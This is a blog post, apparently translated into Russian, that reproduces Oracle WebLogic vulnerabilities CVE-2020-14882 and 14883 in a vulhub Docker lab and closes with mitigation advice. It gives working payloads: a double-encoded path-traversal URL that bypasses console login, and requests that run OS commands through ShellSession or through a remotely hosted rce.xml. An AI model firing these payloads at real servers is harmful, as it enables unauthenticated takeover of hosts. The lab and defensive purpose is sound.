Повторное появление уязвимости CVE-2020-14882 и 14883

Знакомство с уязвимостью

 

В обновлении от октября 2020 года Oracle официально устранила две уязвимости безопасности, представленные исследователями безопасности Chaitin Technology, а именно CVE-2020-14882 и CVE-2020-14882.

CVE-2020-14882 позволяет удаленным пользователям обходить аутентификацию в консольном компоненте. Уязвимость вызвана неправильно настроенным черным списком обхода пути для URL-адресов сервера, который можно найти в классе обработчика для WebLogic HTTP Access. Вы можете использовать строки с двойным кодированием, такие как %252e%252e%252fconsole.portal, чтобы обойти ограничения входа в систему для доступа.

CVE-2020-14883 позволяет пользователю, не прошедшему проверку подлинности, выполнять любую команду в компоненте консоли администратора. В результате возникает риск того, что удаленный злоумышленник, не прошедший проверку подлинности, может выполнять произвольные команды на сервере Oracle WebLogic Server через HTTP и получить полный контроль над хостом.

Сборка среды

После загрузки vulhub войдите в каталог /vulhub/weblogic/CVE-2020-14882:

Войдите в каталог, запустите среду, команда: docker-compose up -d

На этом этапе создается среда

Посетите этот URL-адрес, и появится интерфейс входа в систему:

http://192.168.223.141:7001/console/login/LoginForm.jsp

POC уязвимости: http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal

После визита видно, что вы успешно вошли в фон.

Несмотря на то, что он перешел в фоновый режим, из-за низкого уровня прав он не может выполнять соответствующие операции. Итак, в настоящее время, согласно представлению об уязвимости, нам необходимо использовать уязвимость CVE-2020-14883. Эта уязвимость позволяет злоумышленнику создать специальный HTTP-запрос, получить доступ к консоли WebLogic Server без аутентификации и выполнить произвольный код. Есть два способа использовать эту уязвимость:

[ 1 ] Через класс com.tangosol.coherence.mvel2.sh.ShellSession :

( 1 ) Используйте метод запроса GET :

Вы можете использовать com.tangosol.coherence.mvel2.sh.ShellSession для выполнения соответствующей команды и посетить следующий URL-адрес:

http://192.168.223.141:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime( ).exec('touch%20/tmp/success1');")

Введите команду docker-compose exec weblogic bash, чтобы войти в контейнер и проверить каталог tmp.Вы можете видеть, что Success1 был успешно создан, и команда была успешно выполнена.

( 2 ) Используйте метод запроса POST :

Приведенный выше запрос GET не повторяется. Затем, выполнив скрипт python, можно напрямую отобразить команду ввода.

Этот скрипт Python взят из:

https://github.com/GGyao/CVE-2020-14882_ALL/blob/master/CVE-2020-14882_ALL.py

2 】通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

( 1 ) загрузить xml и выполнить команду

Нам нужно создать файл XML и сохранить его на сервере, к которому Weblogic может получить доступ. Мы можем создать его сами. Поскольку нет сервера с общедоступным сетевым IP-адресом, он такой же, как указано выше. Здесь я напрямую обращаюсь к тому же сегменту сети. как атакуемая машина. Доступ к xml на другом хосте (windows10) можно получить, поместив xml в каталог WWW phpstudy. Целью xml является выполнение команды touch и создание успеха2 в каталоге tmp

Затем введите следующий URL-адрес, чтобы Weblogic мог загрузить файл rce.xml на атакующем компьютере и выполнить содержащиеся в нем команды: = &handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.223.152/rce.xml")

После доступа страница выглядит следующим образом:

Все еще войдите в контейнер через команду bash docker-compose exec weblogic, чтобы проверить, создан ли success2 в tmp

Вы можете видеть, что Success2 успешно создан и команда выполнена успешно.

предложение по ремонту

(1) Не влияя на нормальную работу, рекомендуется временно закрыть полномочия доступа background/console/console.portal или переименовать путь доступа к консоли (изменить консоль пути запроса по умолчанию на запрос, который нелегко угадать) .

(2) Проверьте журнал приложений на наличие HTTP-запросов, включающих обход пути с двойным кодированием: %252E%252E%252F и console.portal в URI запроса.

(3) Мониторинг подозрительных HTTP-запросов в сетевом трафике

(4) Отслеживайте любые подозрительные процессы, созданные приложениями, такими как cmd.exe, /bin/sh

Guess you like

Origin blog.csdn.net/m0_52089634/article/details/128531394